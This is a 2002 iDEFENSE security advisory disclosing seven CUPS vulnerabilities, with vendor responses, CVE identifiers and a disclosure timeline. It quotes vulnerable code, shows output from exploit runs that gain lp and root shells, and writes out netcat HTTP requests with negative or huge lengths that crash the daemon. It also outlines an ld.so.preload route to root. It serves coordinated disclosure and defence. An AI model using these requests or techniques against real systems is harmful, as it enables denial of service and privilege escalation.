[VulnWatch] iDEFENSE Security Advisory 12.19.02: Multiple Security Vulnerabilities in Common Unix Printing System (CUPS)

From: iDEFENSE Labs (labs@idefense.com)
Date: 12/19/02

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    From: "iDEFENSE Labs" <labs@idefense.com>
    To: vulnwatch@vulnwatch.org
    Date: Thu, 19 Dec 2002 11:55:05 -0500

    Hash: SHA1

    iDEFENSE Security Advisory 12.19.02:
    Multiple Security Vulnerabilities in Common Unix Printing System (CUPS)
    December 19, 2002


    Easy Software Products' Common Unix Printing System (CUPS) is a
    cross-platform printing solution for Unix environments. It is based on the
    "Internet Printing Protocol," and provides complete printing services to
    most PostScript and raster printers. CUPS has a web-based graphical
    interface for printer management and is available on most Linux systems.
    More information is available at http://www.cups.org .

    The following major vendors are known to distribute CUPS by default; in
    some cases, it is the default printing implementation used as well:

    Apple Computer Inc.
    Debian Project
    FreeBSD Project
    MandrakeSoft Inc.
    NetBSD Foundation
    Red Hat Inc.
    Slackware Linux Inc.
    SuSE Inc.
    The SCO Group
    Turbolinux Inc.


    Exploitation of multiple CUPS vulnerabilities allow local and remote
    attackers in the worst of the scenarios to gain root privileges. The
    following test platforms were used for various parts of this advisory:

    [1] - Red Hat Linux 7.0 running CUPS-1.1.14-5 (RPM)
    [2] - Red Hat Linux 7.3 running CUPS-1.1.14-15 (RPM)
    [3] - Red Hat Linux 7.3 running CUPS-1.1.17 (Source Install)

    **** ISSUE 1 - Multiple Integer Overflows ****

    An integer overflow exists in the CUPSd http interface. Exploitation
    allows an attacker to gain the permissions of the 'lp' user id and the
    'sys' group id. The offending lines of code can be found in cgi-bin/var.c:

    var = form_vars + form_count;
    var->name = strdup(name);
    var->nvalues = element + 1;
    var->avalues = element + 1;
    var->values = calloc(element + 1, sizeof(char *));
    var->values[element] = strdup(value);

    Since an attacker has control over both element and value, he or she can
    overwrite the address of a soon-to-be called function with the address of
    arbitrary code. The following is a successful run of the vanilla-coke
    exploit ran against test platform [1] built against glibc-2.2.4-

    $ ./vanilla-coke

    $ ls -l /tmp/suid
    - - - - -rwsrwsr-x 1 lp sys 14093 Dec 4 07:50 /tmp/suid

    $ /tmp/suid
    sh-2.04$ id
    uid=4(lp) gid=3(sys) groups=500(farmer)

    The exploit created a set user id 'lp' shell. While the current exploit
    works only against systems utilizing glibc-2.2.4-, it is possible
    to make modifications that will make it effective against earlier glibc
    versions. The vulnerable code also exists in the latest version of CUPS
    (test platform [3]) and appears to be exploitable with slight

    Multiple integer overflows also exist in the image handling code of the
    filters in CUPS. The following is a successful run of the mksun exploit
    tested against platform [1]:

    $ ls -al /tmp/resulted
    /bin/ls: /tmp/resulted: No such file or directory

    $ ./mksun | lp
    request id is lp-100 (1 file(s))

    $ cat /tmp/resulted
    uid=4(lp) gid=3(sys)

    This vulnerability still exists in the latest version of CUPS (test
    platform [3]) slight modification of the exploit code is required.

    **** ISSUE 2 - /etc/cups/certs/ Race Condition ****

    A race condition exists in the creation of /etc/cups/certs/<pid>. This
    allows a local attacker to create or overwrite any file as root. A
    prerequisite to launching this attack is 'lp' user privileges, which can
    be gained through successful exploitation of ISSUE 1 (see above).

    The following is a successful run of the ice-cream exploit tested against
    platforms [1], [2], and [3]:

    sh-2.04$ /tmp/ice-cream
    Waiting for creation event.
    Connected to redhat7.0 (
    Escape character is '^]'.
    HTTP/1.1 200 OK
    Date: Wed, 04 Dec 2002 12:37:21 GMT
    Server: CUPS/1.1
    Connection closed by foreign host.
    Hit it.
    exec some suid with the lib preloading and then remove
    /etc/ld.so.preload-type-file to put things roughly the way they were.

    sh-2.04$ ls -l /etc/ld.so.preload-type-file
    - - - - -rw-rw-rw- 1 lp sys 20 Dec 4 07:37 /etc/ld.so.preload-type-file

    The sample exploit created /etc/ld.so.preload-type-file. An easy
    modification can generate /etc/ld.so.preload, which can then be used to
    gain root privileges by redefining functions such as getuid() as a simple
    "return 0".

    **** ISSUE 3 - Adding Printers with UDP Packets/ Root Certificate Design
    Flaw ****

    Printers can remotely be added to CUPS by sending a specially crafted UDP
    packet. The ability to remotely add printers is used in ISSUE 3 as well as
    in the exploitation of other subsequent vulnerabilities within this
    advisory (see below). The added printer can contain a tainted name that
    when clicked on or referenced through other means (image request, etc.)
    can exploit ISSUE 1. The exploit does not have to be locally launched
    being the shellcode can be modified to connect back to a system
    controlled by the attacker.

    The following is a successful run of the new-coke exploit tested against
    platforms [1] and [2]:

    $ ./new-coke

    Checking the web interface to CUPS after running this exploit shows the
    added printer. The only way to edit or remove this printer through the web
    interface is to click on it, which will in turn exploit the vulnerability.

    A consequence of exploiting this vulnerability is that a local attacker
    can exploit a design flaw to gain root privileges. A printer is first
    added and configured to run on a high numbered port. It is then told to
    return a "need authorization" page. The http backend will then authorize
    with the current local root certificate, as this is the same certificate
    that is needed to access the administrative section of the web server.
    Once the certificate has been obtained, it is possible to add a printer
    that will execute commands with root privileges.

    The following is a successful run of the pardonme exploit script tested
    against platform [1]:

    $ ./pardonme.sh
    Proof of concept - stealing certificate 0 from CUPS
    =================================================== Allows access to
    /admin/ area which we use to execute code as root.

    - - - - - creating tmp printer to steal key from
    - - - - - telling it we want the key.
    - - - - - listening for key.
    - - - - - attempting to create rootshell printer
    - - - - - calling /tmp/doitnow
    request id is givemeroot-4 (1 file(s))
    - - - - - removing tmp printer "hackyou"
    - - - - - removing root shell printer "givemeroot" - check /tmp/resulted
    - - - - - done

    === contents of file ===
    uid=0(root) gid=0(root)
    Thu Dec 5 02:19:13 GMT 2002
    === contents of file ===

    **** ISSUE 4 - Negative Length Memcpy() Calls ****

    Negative length memcpy() calls can lead to a denial of service (DoS) and,
    on some platforms, remote root compromise. The following examples
    demonstrate these vulnerabilities:

    $ nc -v localhost 631
    localhost [] 631 (?) open
    POST /printers HTTP/1.1
    Host: localhost
    Authorization: Basic AAA
    Content-Length: -1

    $ nc -v localhost 631
    localhost [] 631 (?) open
    POST /printers HTTP/1.1
    Host: localhost
    Authorization: Basic AAA
    Transfer-Encoding: chunked

    - - - - -FFFFFFFE

    Both requests will crash the CUPS daemon. This issue is similar to the
    Apache HTTP Server chunking bug that is exploitable on OpenBSD, FreeBSD,
    and NetBSD due to their implementations of memcpy(). Platforms [1], [2]
    and [3] are all susceptible to this vulnerability.

    **** ISSUE 5 - Unsafe Strncat Function Call in jobs.c ****

    jobs.c insecurely uses the strncat function call in the setup of the
    'options' string. As such, it is possible to exploit this in conjunction
    with the vulnerability described in ISSUE 3 to obtain local root
    privileges. To exploit the vulnerability, a printer is created. A job is
    then sent to the printer with attributes set in such a fashion as to
    overflow the options buffer and overwrite the return address of the frame.
    Shellcode is then executed. It calls an external program, /tmp/doitnow,
    which will be executed with root privileges. In the process, two files are
    created that, unless removed, should prevent CUPS from starting:


    The following is a succesful run of the tosend script that utilizes the
    lift exploit. It has been tested against platform [1]:

    $ ./tosend.sh
    * local root
    * cupsd incorrect usage of strncat in jobs.c
    * ========================================== * proof of concept. appends
    output from "id" and "date" to
      to /tmp/resulted
    [+] checking stuff
     * Checking for cupsd file
     * Checking cupsd is running
      * checking for /sbin/pidof
      + ok!
      * finding pid of process
      + ok!
     * Checking for make
     * Checking for nc
    [+] Building stuff
     * Making lift
    make: `lift' is up to date.
    * firing message (needs netcat (nc) to be in your path)
    [+] About to check /tmp/resulted
    - - - - - time is now Wed Dec 4 14:27:16 EST 2002
    - - - - - current uid == 500
    - - - - - current gid == 500

    The /tmp/doitnow script, in this case, simply contains the command "id >
    /tmp/didit.txt". The tosend script has successfully used the lift exploit,
    and the didit.txt file has been created, which, as can be seen from the
    contents, was executed with root privileges:

    # cat /tmp/didit.txt
    uid=0(root) gid=0(root)

    The exploit is not effective against later versions of CUPS since the
    strncat() calls have been replaced with calls to strlcat().

    **** ISSUE 6 - Zero Width Images in filters/image-gif.c ****

    CUPS improperly check for zero width images in filters/image-gif.c as can
    be seen from the following offending code:

      bpp = ImageGetDepth(img);
      pixels = calloc(bpp, img->xsize);
                xpos ++;
        temp += bpp;
        if (xpos == img->xsize)
          ImagePutRow(img, 0, ypos, img->xsize, pixels); ...

    The check for reaching the line width is not performed until after the
    increment, therefore allowing an attacker to manipulate the chunk headers
    and execute arbitrary code.

    The following is a successful run of the nogif exploit tested against
    platform [1]:

    $ ./nogif
    zero width gif exploit for cups "imageto*" filters
    imagetops filter example.
    ppmtogif: computing other colormap...
    ppmtogif: 256 colors found
    ppmtogif: sorting colormap
    Moving img1.gif to /var/tmp
    Now make and run ./wrap to emulate printing this job.

    $ ./wrap
    INFO: lp 7 root img1.gif 1 /var/tmp//////////img1.gif
    DEBUG: Page = 612x792; 18,36 to 594,756
    DEBUG: ImageOpen("/var/tmp//////////img1.gif", 1, 1, 100, 0, (nil))

    Successful exploitation should execute the file /tmp/sh. This
    vulnerability still exists in the latest version of CUPS (test platform
    [3]). Slight modification of the exploit code is required, however.

    **** ISSUE 7 - File Descriptor Resource Leaks ****

    Return values of many file and socket operations are not checked,
    therefore leading to file descriptor leaks. Attackers can launch a DoS
    attack against a system running CUPS. The following is a successful run of
    the fanta exploit tested against platform [1]:

    $ ./fanta

    The error below doesn't appear to show up, and the process hangs at around
    300-400 somewhere sometimes.

    Problem in cups is caused by file descriptor leaks, and failing to check
    return values for file operations in many areas.
    0 sent
    100 sent
    200 sent


    Local and remote attackers can exploit the above-described vulnerabilities
    on vulnerable CUPS versions to gain superuser privileges. Exploitation is
    relatively easy in most cases given exploit code, although certain
    modifications are necessary in certain instances.


    CUPS-1.1.14-5, CUPS-1.1.14-15, and CUPS-1.1.17 are susceptible. See the
    detailed DESCRIPTION section above to determine the specifics of
    implementation susceptibility.


    Crashed daemons must be restarted in order to resume normal operations. If
    the CUPS daemon cannot restart, check for the existence of the following
    files and remove them:



    Michael Sweet [mike@easysw.com] of Easy Software Products said CUPS 1.1.18
    will be released December 19, 2002 which addresses all of these issues
    (http://www.cups.org) .

    Mark J Cox (mjc@redhat.com) of Red Hat said the following:

    "Red Hat Linux 7.3 and 8.0 ship with CUPS, however it is not enabled by
    default. We are currently working on producing erratum packages. When
    complete, these will be available along with our advisory. At the same
    time, users of the Red Hat Network will be able to update their systems
    using the 'up2date' tool."

    Richard Blanchard (rblanchard@apple.com) of Apple said the following:

    "Affected Systems:
         Mac OS X 10.2 - Mac OS X 10.2.2
         Mac OS X Server 10.2 - Mac OS X Server 10.2.2
         Mitigating Factors: The described vulnerability can be remotely
    exploited only when Printer Sharing is enabled. Printer Sharing is not
    enabled by default on Mac OS X or Mac OS X Server.
    Fixed in: Mac OS X 10.2.3 and Mac OS X Server 10.2.3"


    The Mitre Corp.'s Common Vulnerabilities and Exposures (CVE) Project has
    assigned the following identification numbers to these issues:

    CAN-2002-1383: ISSUE 1 - Multiple Integer Overflows
    CAN-2002-1366: ISSUE 2 - /etc/cups/certs/ Race Condition
    CAN-2002-1367: ISSUE 3 - Adding Printers with UDP Packets/
                             Root Certificate Design Flaw
    CAN-2002-1368: ISSUE 4 - Negative Length Memcpy() Calls
    CAN-2002-1369: ISSUE 5 - Unsafe Strncat Function Call in jobs.c
    CAN-2002-1371: ISSUE 6 - Zero Width Images in filters/image-gif.c
    CAN-2002-1372: ISSUE 7 - File Descriptor Resource Leaks


    10/27/2002 Initial discussion with contributor
    11/14/2002 Final contributor submission
    12/12/2002 CUPS author notified via e-mail to cups-support@cups.org
    12/12/2002 iDEFENSE clients notified
    12/12/2002 Response and preliminary patch received from
                     CUPS author Michael Sweet (mike@easysw.com)
    12/12/2002 Apple, Linux Security List (vendor-sec@lst.de)
    12/13/2002 Updated patch received from Michael Sweet
    12/17/2002 Response received from Richard Blanchard
    12/19/2002 Coordinated Public Disclosure


    zen-parse (zen-parse@gmx.net) discovered these issues.

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